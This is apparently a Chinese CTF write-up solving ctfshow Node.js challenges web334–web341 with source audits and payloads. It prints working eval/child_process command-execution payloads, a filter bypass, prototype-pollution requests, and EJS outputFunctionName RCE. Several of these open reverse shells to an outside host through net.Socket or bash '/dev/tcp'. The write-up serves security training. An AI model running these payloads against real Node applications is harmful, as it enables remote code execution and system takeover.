目录

  1. 1. 前言
  2. 2. web334
  3. 3. web335(命令执行)
  4. 4. web336
    1. 4.1. 法1
    2. 4.2. 法2
    3. 4.3. 法3
  5. 5. web337(nodejs特性)
  6. 6. web338(原型链污染)
  7. 7. web339(原型链污染变量/变量覆盖)
  8. 8. web340(双层污染)
  9. 9. web341(ejs rce)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow Nodejs专题

2023/6/28 Web Nodejs ctfshow
  |     |   总文章阅读量:

前言

早该开刷了(

web334

大小写绕过

下载附件,解压获得js源码

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

审计代码,可以发现是一个登录系统,user.js已经给了我们账号和密码

看login.js,只要登录成功就能获得flag

但是findUser方法对输入的内容进行了限制

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

要求name不能等于CTFSHOW,而传入的name会被强制转换为大写,passwd只要正确即可

那做法就很明显了,利用大小写绕过即可,name传入CTFshow,passwd传入123456

然后登录就能回显flag


web335(命令执行)

命令执行

f12发现hint:<!--/?eval=-->

那考点明显就是命令执行

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function

而在nodejs的api中,存在child_process子进程的方法能够执行shell

Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。

使用exec方法,但是发现返回的是 [object Object]

这是因为exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显

所以这里使用execSync方法

?eval=require("child_process").execSync('ls')

image-20230629131027640

直接cat即可获取flag


web336

命令执行

加了过滤,上一题的payload用不了了

法1

测试发现是过滤了exec

尝试通过拼接的方式绕过(%2B == +)

先在本地的交互环境下测试看看可不可行

image-20230629161328154

可以的,那我们直接进行命令执行

?eval=require("child_process")['exe'%2B'cSync']('ls')

image-20230629161438378

成功列出目录,直接cat即可

法2

除了execSync以外,还有spawnSync方法可以用

官方文档

child_process.spawnSync(command[, args][, options])

所以payload如下:

?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()

法3

文件操作

官方文档

?eval=require('fs').readdirSync('.');	// 读取目录的内容
?eval=require('fs').readFileSync('fl001g.txt');		// 返回对应路径的内容

web337(nodejs特性)

md5数组绕过

题目源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

审计代码,得知我们需要get请求传入a,b参数,满足长度相等,值不等,与flag拼接后的值的md5相等

猜测nodejs也可以像php一样用数组绕过

payload:

?a[]=&b[]=

成功得到flag


web338(原型链污染)

原型链污染

题目是一个登录界面

下载题目源码

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);

var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

var app = express();

//session
var identityKey = 'auth';
 
app.use(session({
  name: identityKey,
  secret: 'ctfshow_session_secret', 
  store: new FileStore(), 
  saveUninitialized: false, 
  resave: false,
  cookie: {
    maxAge: 60 * 60 * 1000 // 有效期,单位是毫秒
  }
}));

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

跟进到index.js

var express = require('express');
var router = express.Router();

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  res.render('index', { title: 'Express' });
});

module.exports = router;

和login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

common.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

审计代码,要想获得flag就需要让secert.ctfshow==='36dboy'

但是secert是一个空对象,同时我们注意到存在 utils.copy(user,req.body);,将 user 对象的属性copy到 req.body 对象中

而user和secert属于同一个父类object,所以这里要使用原型链污染

污染user让secert.ctfshow36dboy

注:由于nodejs的post请求全在请求体中,需要抓包在burp发出才行

payload

{"username":"1","password":"1","__proto__":{"ctfshow":"36dboy"}}

image-20230630125810185


web339(原型链污染变量/变量覆盖)

原型链污染

login.js变了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

只有secert.ctfshow的值和flag相等才能得到flag,那这个判断基本上没有办法绕过

还多了个api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

出现了一个render函数,实际上是用来渲染api模板的,里面还传递了一个Function(query)(query),可以知道这里会调用匿名函数

我们测试一下:

>function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

>user = {}
>body = JSON.parse('{"__proto__":{"query":"return 514"}}');
>copy(user, body)
>{query: Function(query)(query)}

image-20240112111341471

函数成功返回了514,可知这个匿名函数被原型链污染后可以执行任意代码

所以我们可以通过污染query对象来执行命令

直接考虑反弹shell,这里建议使用nodejs原生的socket来弹

{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(57746, '76135132qk.imdo.co', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}

那么我们先抓包/login接口,把payload传进去

image-20240112113807298

此时query就被污染了

接下来访问/api接口触发命令执行,注意要以post请求访问

image-20240112114215403

这样就弹shell了

image-20240112114138957

flag在环境变量里面


web340(双层污染)

看到一个很恰当的图就在这里贴一下

image-20240113092752796

依旧是直接看login.js,api.js不变

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

这次条件变成了user.userinfo.isAdmin,copy里面的user对象后面也套了一个userinfo

这里user.userinfo.isAdmin写在了函数里面,我们不能直接污染这个的值

本地测看看:

image-20240113092134941

可以发现第一层外面是一个对象,也就是构造函数,第二层才是我们要的object

所以要进行两次__proto__实现双层污染

测试一下:

{"__proto__":{"__proto__":{"isAdmin":true}}}

image-20240113095041350

污染成功,那我们同理可以利用api.js里面的render函数,污染query进行命令执行

payload:

{"__proto__":{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(57746, '76135132qk.imdo.co', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}

依旧是在/login污染,在/api触发反弹shell


web341(ejs rce)

依旧是双层污染

但是这题把api.js去掉了,我们用不了变量覆盖

那么剩下能做的就是ejs污染了,用到的是ejs模板opts.OutPutFuntcion属性的污染

payload:这里我直接调用bash -c来弹shell了

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/76135132qk.imdo.co/57746 0>&1\"');var __tmp2"}}}

传入payload之后,请求一个会调用 render 方法的接口,这里用/就行

然后就能弹shell了